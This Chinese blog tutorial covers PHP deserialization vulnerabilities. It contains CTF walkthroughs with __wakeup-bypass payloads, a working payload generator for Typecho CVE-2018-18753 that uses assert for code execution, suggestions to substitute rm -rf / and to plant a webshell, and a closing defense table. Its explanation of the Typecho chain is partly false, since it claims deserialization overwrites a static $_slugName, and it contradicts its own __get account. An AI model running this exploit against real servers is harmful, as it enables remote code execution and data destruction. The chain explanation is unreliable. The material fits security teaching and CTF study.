免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
目录
案例三:Tyeccho反序列化漏洞CVE 2018-18753
2.Tyeccho反序列化漏洞CVE 2018-18753原理
一:序列化与反序列化
1. 序列化与反序列化的定义
-
序列化(Serialization):
将对象或数据结构转换为字符串,以便存储或传输。类:一个共享相同结构和行为的对象的集合
对象:是类的实例
$obj = new ExampleClass(); $serialized = serialize($obj); // 输出:O:12:"ExampleClass":0:{}
-
反序列化(Unserialization):
将序列化后的字符串还原为原始对象或数据结构。$unserialized = unserialize($serialized); // 还原为ExampleClass对象
- 如果传递的字符串不可以序列化,则返回 FALSE
- 如果对象没有预定义,反序列化得到的对象是 __PHP_Incomplete_Class
2. PHP序列化字符串格式
序列化字符串由以下部分组成:
O:<类名长度>:"<类名>":<属性数量>:{<属性键值对>}
示例:
class User { public $name = "Alice"; private $id = 100; } serialize(new User());
输出:
O:4:"User":2:{s:4:"name";s:5:"Alice";s:7:"Userid";i:100;}
3. Magic函数与反序列化
PHP在反序列化过程中会自动调用特定Magic函数:
函数 | 作用 |
---|---|
__construct | 当一个对象创建时被调用 |
__destruct | 当一个对象销毁时被调用 |
__toString | 当一个对象被当作一个字符串使用 |
__sleep | 在对象被序列化之前运行 |
__wakeup | 在对象被反序列化之后被调用 |
__serialize() | 对对象调用 serialize () 方法,PHP 7.4.0 起 |
__unserialize() | 对对象调用 unserialize () 方法,PHP 7.4.0 起 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 用于从不可访问的属性读取数据 |
__set() | 用于将数据写入不可访问的属性 |
__isset() | 在不可访问的属性上调用 isset () 或 empty () 触发 |
__unset() | 在不可访问的属性上使用 unset () 时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
__wakeup()
在反序列化完成后触发,常用于初始化操作(如数据库连接)。__destruct()
在对象销毁时触发,常用于资源释放。__toString()
当对象被当作字符串处理时触发。__call()
当调用不可访问方法时触发。
class Example { public function __wakeup() { echo "反序列化完成!"; } public function __destruct() { echo "对象销毁!"; } } $data = unserialize('O:7:"Example":0:{}'); // 输出:反序列化完成!对象销毁!
magic函数作用:避免代码大量重复,避免维护困难
PHP序列化和反序列化:实现跨平台传输对象,用于做缓存
4.序列化的其他形式
json 字符串 json_encode
xml 字符串 wddx_serialize_value
二进制格式
字节数组
5.反序列化漏洞原理
1.关键点:Magic函数的自动调用
PHP反序列化时,如果对象类中定义了以下函数方法,会按顺序自动执行:
__wakeup()
:反序列化时触发。
__destruct()
:对象销毁时触发(如脚本执行结束或手动释放对象)。
__toString()
:对象被当作字符串使用时触发。
__call()
:调用不存在的方法时触发。
漏洞成因:
若攻击者能控制反序列化的输入数据,并构造一个包含恶意代码的序列化字符串,当反序列化后触发上述函数方法中的敏感操作(如文件操作、命令执行),即可形成漏洞。
2.漏洞利用示例
案例:通过 __destruct()
删除文件
class FileHandler { public $filename; public function __destruct() { // 对象销毁时删除文件 unlink($this->filename); // 危险操作! } } // 攻击者构造恶意序列化数据 $data = 'O:11:"FileHandler":1:{s:8:"filename";s:9:"/etc/passwd";}'; $obj = unserialize($data); // 反序列化触发 __destruct(),删除系统文件攻击流程:
攻击者发现目标类中存在
__destruct()
方法,且操作了用户可控属性(如$filename
)。构造序列化字符串,将
$filename
设置为敏感路径(如/etc/passwd
)。当目标应用反序列化该字符串时,对象销毁时自动调用
__destruct()
,触发文件删除。
漏洞触发三要素:
有自动机关:类里写了
__destruct
、__wakeup
等函数方法。机关里埋雷:这些方法调了 system、eval、文件操作 等危险函数。
快递随便收:程序无脑反序列化用户传来的数据(比如Cookie、参数)。(漏洞触发点)
案例一:CTF--反序列化
打开靶场如下图
打开后我们发现是一对PHP代码,先对代码进行审计
class xctf { // 定义名为xctf的类
public $flag = '111'; // 声明公有属性$flag,默认值为'111'
public function __wakeup() { // 定义魔术方法__wakeup()
exit('bad requests'); // 当反序列化时触发,立即终止程序并输出错误
}}
根据代码审计结果我们得知__wakeup 是我们拿到flag的一大阻碍,只要绕过这个函数就可以拿到flag
如何绕过__wakeup:首先序列化这个字符
<?php
class xctf {
public $flag = '111';
public function __wakeup() {
exit('bad requests');
}
}
// 生成序列化Payload
$payload = serialize(new xctf());
echo "正常序列化结果:" . $payload . "\n";
// 构造绕过__wakeup()的Payload
$evil_payload = str_replace(':1:', ':2:', $payload);
echo "恶意Payload:" . $evil_payload . "\n";
// URL编码后的Payload
echo "URL编码:" . urlencode($evil_payload);
序列化成功
然后修改属性数量绕过 __wakeup():将属性数量从1修改为大于1得值就可以绕过__wakeup
然后利用?Code=payload 就可以输出flag
成功拿到flag
案例二:CTF--反序列化
首先我们需要了解以下参数
序列化public private protect参数产生不同结果
Pubic 公有
Private 私有
Protect 保护
打开靶场如下图
观察这个CTF题目它说falg在flag.php文件中并且给了我们源代码那我们还是先进行代码分析
未过滤的反序列化入口:
unserialize($_GET['val']) 直接反序列化用户输入,允许攻击者注入任意对象。__wakeup() 的安全重置逻辑:
反序列化时会调用 __wakeup(),强制将 $file 重置为 index.php,阻碍攻击者读取 flag.php。__destruct() 的文件读取操作:
对象销毁时会触发 __destruct(),通过 highlight_file() 输出 $file 的内容。
通过源码可以看到里面有一个flie如果我们序列化后将其修改为flag.php不就可以读取flag.php了么,由于使用Private 私有(案例一使用共有不需要截断)所以我们需要再序列化后再将类名和成员变量名使用%00隔断才可以然后再修改属性值大小绕过__wakeup就可以得到flag
构建payload
输出序列化后的值:O:6:"sercet":1:{s:12:"sercetfile";s:8:"flag.php";}
修改:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}
Payload:?val=O:6:"sercet":3:{s:12:"%00sercet%00file";s:8:"flag.php";}
然后就可以得到flag了
案例三:Tyeccho反序列化漏洞CVE 2018-18753
1.安装typecho
将typecho文件夹放入小皮目录下
在小皮创建该网站
创建数据库typecho
安装成功
2.Tyeccho反序列化漏洞CVE 2018-18753原理
CVE-2018-18753
漏洞概述:
typecho 是一款非常简洁快速CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意 PHP 代码。影响版本:typecho1.0(14.10.10)
1.观察 install.php 源代码中发现了反序列化的入口
将 Typecho_cookie::get()方法的值 base64 解码 再反序列化回来赋值给 $config所以后续我们需要以base64编码方式注入,还可以看到里面通过Typecho_Cookie::get() 方法获取__typecho_config 变量。我们在源代码中找找这个方法
通过全局搜索的方式找到了 /var/Typecho/Cookie.php文件 中的Typecho_Cookie::get() 方法,通过分析我们发现__typecho_config 变量是可控的且只有不能为数组的过滤条件。__typecho_config 可以通过 POST 或者 Cookie 传入的然后进行一个反序列化操作
利用Typecho_Cookie::delete将变量__typecho_config删除了,然后创建了一个新的对象Db将config中的adapter和prefix传入
我们找找这个新对象Db,将$adapterName 直接拼接在一串字符串后面,也就是将 $adapterName 当作字符串拼接之后又赋值给了 $adapterName,这个时候如果 adapterName 如果为一个对象的话,就会自动调用 __toString 的Magic方法。我们找找__toString 方法
根据下面那一坨代码分析如下
$item['title']
被包裹在<![CDATA[...]]>
中,表面上是安全的XML转义。
但:在Typecho_Feed
的__toString()
方法中(此代码的上层逻辑),存在对Typecho_Common::slugName()
的调用,例如:$content = Typecho_Common::slugName($this->_items[0]['title']);
攻击者控制点:
通过反序列化,攻击者可以控制$this->_items[0]['title']
的值,并最终将其传递给Typecho_Common::slugName()
。
动态函数执行:
slugName()
内部通过call_user_func()
调用函数,攻击者可通过篡改静态变量Typecho_Common::$_slugName
,将其指向危险函数(如system
)。
对象属性访问的陷阱:
当$item['author']
是反序列化生成的恶意对象时,访问其属性(如screenName
或url
)可能触发以下操作:
__get()
魔术方法:
如果该对象所属的类定义了__get()
方法,访问不存在的属性会触发此方法,可能执行攻击者预设的逻辑。
看不懂看这个例子
组装恶意玩具:
黑客创建一个黑客玩具
对象,藏在$item['author']
里。
→ 把改装玩具塞进快递盒(序列化数据)。诱骗你按「不存在」的按钮:
正常代码尝试访问$item['author']->screenName
,但黑客故意让screenName
不存在!
→ 你以为按的是「按钮A」,实际触发隐藏的__get()
!触发爆炸:
__get()
里的system("爆炸指令")
执行,比如删除服务器文件。
→ 玩具突然大喊:rm -rf /,服务器当场去世!💥*那这里如果
screenName
不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法所以接下来我们寻着这个方法
利用全局搜索 function __get() ,找到文件 /var/Typecho/Request.php,然后我们找呀找,看看里面有没有什么好东西。突然看到了敏感函数 call_user_func()欣喜若狂
此方法用于对输入值
$value
应用一系列过滤器($this->_filter
),处理完成后清空过滤器列表。关键逻辑:foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) // 若$value是数组,遍历应用过滤器 : call_user_func($filter, $value); // 否则直接调用过滤器 }
动态函数调用:通过
call_user_func
或array_map
执行用户定义的过滤器函数。灵活性高:允许自定义处理逻辑,但也是风险所在。
风险点:攻击者控制
$this->_filter
若
$this->_filter
属性可被反序列化数据控制,攻击者可注入恶意回调函数,例如:$this->_filter = ['system']; // 危险函数 $value = 'rm -rf /'; // 恶意参数
调用链为:
call_user_func('system', 'rm -rf /'); // 直接执行系统命令!
构造payload
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()'; //替换phpinfo()这里进行深度利用
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
3.payload代码审计
(1)
Typecho_Feed
类class Typecho_Feed { // ... 常量定义 ... private $_type; private $_items; public function __construct() { $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), // 关键点:注入恶意对象 'author' => new Typecho_Request(), // 关键点:注入恶意对象 ); } }
攻击意图:
_items
数组中的category
和author
属性被设置为Typecho_Request
对象,目的是在反序列化后触发其危险逻辑。
(2)
Typecho_Request
类class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = 'phpinfo()'; // 待执行的PHP代码 $this->_filter[0] = 'assert'; // 危险函数:assert } }
攻击意图:
通过_filter
设置危险回调函数assert
,并将_params['screenName']
设置为待执行的代码(phpinfo()
),为后续触发代码执行做准备。
2. 漏洞触发链解析
(1)反序列化入口
当Typecho应用反序列化恶意数据时(如Cookie中的
__typecho_config
参数),会还原$exp
对象:$exp = array( 'adapter' => new Typecho_Feed(), // 包含恶意Typecho_Request对象 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); // 输出Base64编码的Payload
(2)触发
__toString()
方法在Typecho的
Typecho_Feed
类中,__toString()
方法会遍历_items
生成XML内容,其中可能调用Typecho_Common::slugName()
方法处理title
字段:public function __toString() { // ... $content = Typecho_Common::slugName($this->_items[0]['title']); // ... }
(3)
slugName()
动态函数调用
Typecho_Common::slugName()
的实现如下(漏洞版本):public static function slugName($name) { $slug = call_user_func(self::$_slugName, $name); // 动态调用函数 return $slug; }
攻击者控制点:
通过反序列化覆盖静态变量self::$_slugName
,将其指向Typecho_Request
的_filter[0]
(即assert
),并将$name
设置为_params['screenName']
(即phpinfo()
),从而触发:call_user_func('assert', 'phpinfo()'); // 执行phpinfo()
流程如下
构造Payload
Typecho_Feed
注入Typecho_Request
对象。
Typecho_Request
设置_filter
为assert
,_params
为phpinfo()
。触发反序列化
目标应用反序列化恶意数据后,触发
Typecho_Feed
的__toString()
方法。
slugName()
调用call_user_func('assert', 'phpinfo()')
,执行任意代码。执行结果
服务器输出
phpinfo()
页面,验证漏洞存在。实际攻击中可替换
phpinfo()
为恶意命令(如system('rm -rf /')
如果你还是看不明白,看下面这个例子
1. 车间1:制造「炸弹外壳」(Typecho_Feed类)
class Typecho_Feed { // ... 常量(包装盒上的标签) private $_items; // 快递盒里装的物品 public function __construct() { $this->_items[0] = array( 'category' => array(new Typecho_Request()), // 藏了一个「子炸弹」 'author' => new Typecho_Request() // 再藏一个「子炸弹」 ); } }
作用:创建一个快递盒(
Typecho_Feed
对象),盒子里塞了两个「子炸弹」(Typecho_Request
对象)。关键点:
_items
是炸弹的「核心部件」,内含触发机关!
2. 车间2:制造「子炸弹」(Typecho_Request类)
class Typecho_Request { private $_params = array('screenName' => 'phpinfo()'); // 炸弹密码 private $_filter = array('assert'); // 引爆按钮 public function __construct() { // 设置密码为phpinfo(),按钮为assert } }
作用:每个「子炸弹」都有两个关键零件:
_params['screenName']
:要执行的代码(比如phpinfo()
)。
_filter[0]
:引爆按钮(assert
函数,能把字符串当代码执行)。比喻:
assert
就像「语音识别炸弹」,听到特定暗号(字符串代码)就会爆炸!
3. 总装车间:打包成「超级炸弹」
$exp = array( 'adapter' => new Typecho_Feed(), // 放入炸弹外壳 'prefix' => 'typecho_' // 伪装成普通快递 ); echo base64_encode(serialize($exp)); // 打包成加密包裹
作用:把炸弹外壳(
Typecho_Feed
)装进一个快递箱(数组),序列化成字符串,再用Base64编码(像用密码箱锁住)。结果:生成一段人眼看不懂的乱码(Payload),比如:
复制
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxO......
第二步:快递炸弹的「引爆逻辑」
当Typecho网站拆开这个快递(反序列化数据)时,会发生以下连锁反应:
1. 拆开快递外壳(还原Typecho_Feed对象)
网站读取
adapter
参数,还原Typecho_Feed
对象。此时,
_items
数组中的两个Typecho_Request
「子炸弹」也被还原。
2. 触发「子炸弹」的机关(__toString方法)
当网站尝试把
Typecho_Feed
对象转换成字符串(比如生成网页内容)时,会自动调用其__toString()
方法。
关键代码:// 伪代码:Typecho_Feed的__toString()方法 public function __toString() { $content = $this->_items[0]['title']; // 会调用一个危险函数处理$content! }
漏洞点:处理
title
时,实际会调用Typecho_Common::slugName()
,其中隐藏了call_user_func()
!
3. 启动「语音识别炸弹」(call_user_func + assert)
在漏洞版本的Typecho中,
slugName()
代码如下:public static function slugName($name) { $slug = call_user_func(self::$_slugName, $name); // 关键危险函数! return $slug; }
黑客篡改:通过反序列化,把
self::$_slugName
替换成Typecho_Request
的_filter[0]
(即assert
)。传递参数:
$name
被替换成_params['screenName']
(即phpinfo()
)。最终执行:
call_user_func('assert', 'phpinfo()'); // 执行phpinfo()函数!
第三步:爆炸效果💥
网站服务器会执行
phpinfo()
,输出PHP配置信息(证明漏洞存在)。实际攻击中,可替换
phpinfo()
为system('rm -rf /')
等危险命令,直接摧毁服务器!
为什么这段代码能绕过防御?
伪装性极强:
Payload被Base64编码,普通防火墙难以识别。利用合法类:
所有用到的类(Typecho_Feed
、Typecho_Request
)都是Typecho自带的,非外部代码。链式触发:
漏洞触发需要多个类配合,单一安全检查难以拦截。
4.漏洞核心原理
-
危险的反序列化入口
Typecho在处理用户请求时,未对Cookie中的__typecho_config
参数进行过滤和验证,直接对其调用unserialize()
函数进行反序列化。攻击者可通过篡改该参数注入恶意序列化数据。 -
利用链构造(POP链)
Typecho代码中存在可被串联的类方法,攻击者通过构造特定的对象属性链(POP链),在反序列化时触发危险操作:-
关键类:
Typecho_Feed
类中的__toString()
方法。 -
触发点:
__toString()
方法调用了Typecho_Common::slugName()
,后者通过call_user_func()
动态执行函数。
-
-
动态函数执行
攻击者通过控制call_user_func()
的参数,将其指向危险函数(如system
、eval
),并传入恶意参数,最终实现远程代码执行(RCE)。
5.攻击流程
生成payload
将生成的payload使用hackbar注入网站然后就可以得到他的版本信息说明漏洞利用成功
使用python写入shell法
成功写入shell之后就可以使用蚁剑连接使用(也可以使用bp抓包方式注入shell)
反序列化防御方法
防御方法 | 说明 | 示例或操作 |
---|---|---|
避免反序列化不可信数据 | 禁止直接反序列化用户输入的未经验证数据(如Cookie、HTTP参数)。 | php<br>// ❌ 避免:<br>$data = unserialize($_COOKIE['data']);<br>// ✅ 使用JSON替代:<br>$data = json_decode($_COOKIE['data'], true);<br> |
白名单限制反序列化类 | 仅允许反序列化已知安全的类,阻止攻击者注入恶意对象。 | php<br>// PHP 7.0+:<br>$data = unserialize($input, ['allowed_classes' => ['SafeClass', 'Logger']]);<br> |
数据签名/加密 | 通过签名或加密确保序列化数据的完整性和机密性,防止篡改。 | php<br>// HMAC签名验证:<br>$signature = hash_hmac('sha256', $data, $secret_key);<br>// 加密传输:<br>$encrypted = openssl_encrypt($data, 'AES-256-CBC', $key);<br> |
避免危险Magic方法 | 检查并移除 __destruct 、__wakeup 等Magic方法中的危险操作(如命令执行)。 | php<br>class SafeClass {<br> public function __destruct() {<br> // 仅记录日志,不执行危险操作<br> }<br>}<br> |
禁用危险函数 | 在 php.ini 中禁用高危函数,限制攻击者利用能力。 | ini<br>; php.ini配置:<br>disable_functions = exec,system,eval,passthru<br> |
输入过滤与类型检查 | 对反序列化后的对象进行类型和属性校验,确保符合预期。 | php<br>if ($data instanceof SafeClass && property_exists($data, 'valid_property')) {<br> // 安全处理<br>}<br> |
替换序列化方案 | 使用JSON、XML等更安全的序列化格式替代PHP原生序列化。 | php<br>// 序列化:<br>$json = json_encode($data);<br>// 反序列化:<br>$data = json_decode($json, true);<br> |
代码审计与依赖管理 | 定期审计代码中的反序列化点,更新第三方库至安全版本。 | - 使用工具(如PHPStan、RIPS)扫描 unserialize() 调用。- 升级已知漏洞库(如Laravel、ThinkPHP)。 |
日志与监控 | 记录反序列化操作日志,监控异常行为(如反序列化失败或未知类加载)。 | php<br>try {<br> $data = unserialize($input);<br>} catch (Exception $e) {<br> error_log("反序列化失败:" . $e->getMessage());<br>}<br> |
关键总结
-
零信任原则:始终假设外部输入不可信,严格校验来源和内容。
-
最小化攻击面:禁用不必要的函数、限制可反序列化的类。
-
纵深防御:结合签名、加密、日志等多层防护机制,降低漏洞利用可能性
总结
反序列化漏洞是“信任的代价”,防御的关键是永不轻信,永远验证。
(需要源代码联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)